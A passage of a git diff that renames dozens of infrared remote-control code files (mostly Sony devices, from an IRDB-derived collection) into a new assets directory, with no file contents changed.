rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D797/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D7M/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D7M/15,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D7M/15,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D7M/15,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D820/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D820/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D820/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D820/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D90/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D90/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D90/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D90/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D921/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D921/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D921/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D921/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D991/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D991/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D991/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D991/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-DM7/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-DM7/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-DM7/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-DM7/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-DX740/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-DX740/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-DX740/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-DX740/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-ED019/26,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-ED019/26,73.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-ED019/26,73.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-ED019/26,73.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-PJP1/26,42.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-PJP1/26,42.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-PJP1/26,42.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-PJP1/26,42.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-SG20/131,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-SG20/131,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-SG20/131,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-SG20/131,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-SG5/131,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-SG5/131,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-SG5/131,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-SG5/131,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-SG7/131,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-SG7/131,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-SG7/131,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-SG7/131,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-V211T/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-V211T/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-V211T/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-V211T/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-W101/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-W101/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-W101/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-W101/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X30/132,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X30/132,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X30/132,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X30/132,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X40/132,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X40/132,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X40/132,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X40/132,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X42/132,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X42/132,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X42/132,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X42/132,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X47/132,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X47/132,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X47/132,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X47/132,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y155B/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y155B/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y155B/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y155B/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y173/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y173/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y173/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y173/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y180/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y180/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y180/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y180/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y800/183,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y800/183,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y800/183,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y800/183,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y812/183,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y812/183,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y812/183,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y812/183,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-136/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-136/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-136/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-136/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-506/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-506/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-506/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-506/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-B101A/26,226.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-B101A/26,226.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-B101A/26,226.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-B101A/26,226.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-CF1A/26,19.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-CF1A/26,19.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-CF1A/26,19.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-CF1A/26,19.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D115P/26,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D115P/26,73.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D115P/26,73.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D115P/26,73.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D126A/26,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D126A/26,73.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D126A/26,73.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D126A/26,73.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D126E/26,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D126E/26,73.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D126E/26,73.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D126E/26,73.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D129A/26,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D129A/26,73.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D129A/26,73.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D129A/26,73.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-DSC2/26,241.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-DSC2/26,241.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-DSC2/26,241.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-DSC2/26,241.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-V107/11,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-V107/11,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-V107/11,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-V107/11,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-V270/11,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-V270/11,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-V270/11,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-V270/11,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-V501A/26,83.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-V501A/26,83.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-V501A/26,83.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-V501A/26,83.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_SONY/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_SONY/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_SONY/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_SONY/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_TUNER/13,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_TUNER/13,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_TUNER/13,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_TUNER/13,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_VPL-W400/84,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_VPL-W400/84,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_VPL-W400/84,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_VPL-W400/84,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_VaioRemote/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_VaioRemote/4,15.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_VaioRemote/4,15.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_VaioRemote/4,15.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_lircd.conf/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_lircd.conf/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_lircd.conf/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_lircd.conf/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-d10p/26,97.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-d10p/26,97.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-d10p/26,97.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-d10p/26,97.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-d29m/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-d29m/15,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-d29m/15,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-d29m/15,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-d5/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-d5/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-d5/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-d5/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-dm9/223,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-dm9/223,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-dm9/223,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-dm9/223,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-x95/132,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-x95/132,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-x95/132,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-x95/132,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_sony-cd/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_sony-cd/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_sony-cd/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_sony-cd/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_sonyRM-sep303/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_sonyRM-sep303/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_sonyRM-sep303/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_sonyRM-sep303/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_sonytv/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_sonytv/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_sonytv/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_sonytv/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_tv/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_tv/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_tv/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_tv/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_tv/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_tv/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_tv/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_tv/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/11,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/11,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/11,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/11,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/180,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/180,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/180,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/180,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/185,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/185,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/185,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/185,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/186,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/186,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/186,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/186,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/25,37.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/25,37.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/25,37.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/25,37.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/25,69.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/25,69.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/25,69.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/25,69.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/9,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/9,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/9,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/VCR/9,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Video Projector/26,42.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Video Projector/26,42.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Video Projector/26,42.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Video Projector/26,42.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Video Projector/84,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Video Projector/84,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Video Projector/84,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Video Projector/84,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Speed-link/Unknown_SL-6399/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Speed-link/Unknown_SL-6399/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Speed-link/Unknown_SL-6399/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Speed-link/Unknown_SL-6399/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Starsat/Unknown_120/64,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Starsat/Unknown_120/64,64.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Starsat/Unknown_120/64,64.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Starsat/Unknown_120/64,64.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Starview/Unknown_Starview/0,249.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Starview/Unknown_Starview/0,249.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Starview/Unknown_Starview/0,249.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Starview/Unknown_Starview/0,249.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Streamzap/Unknown_PC/35,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Streamzap/Unknown_PC/35,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Streamzap/Unknown_PC/35,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Streamzap/Unknown_PC/35,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sumvision/Unknown_Sumvision/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sumvision/Unknown_Sumvision/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sumvision/Unknown_Sumvision/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sumvision/Unknown_Sumvision/0,-1.ir diff --git 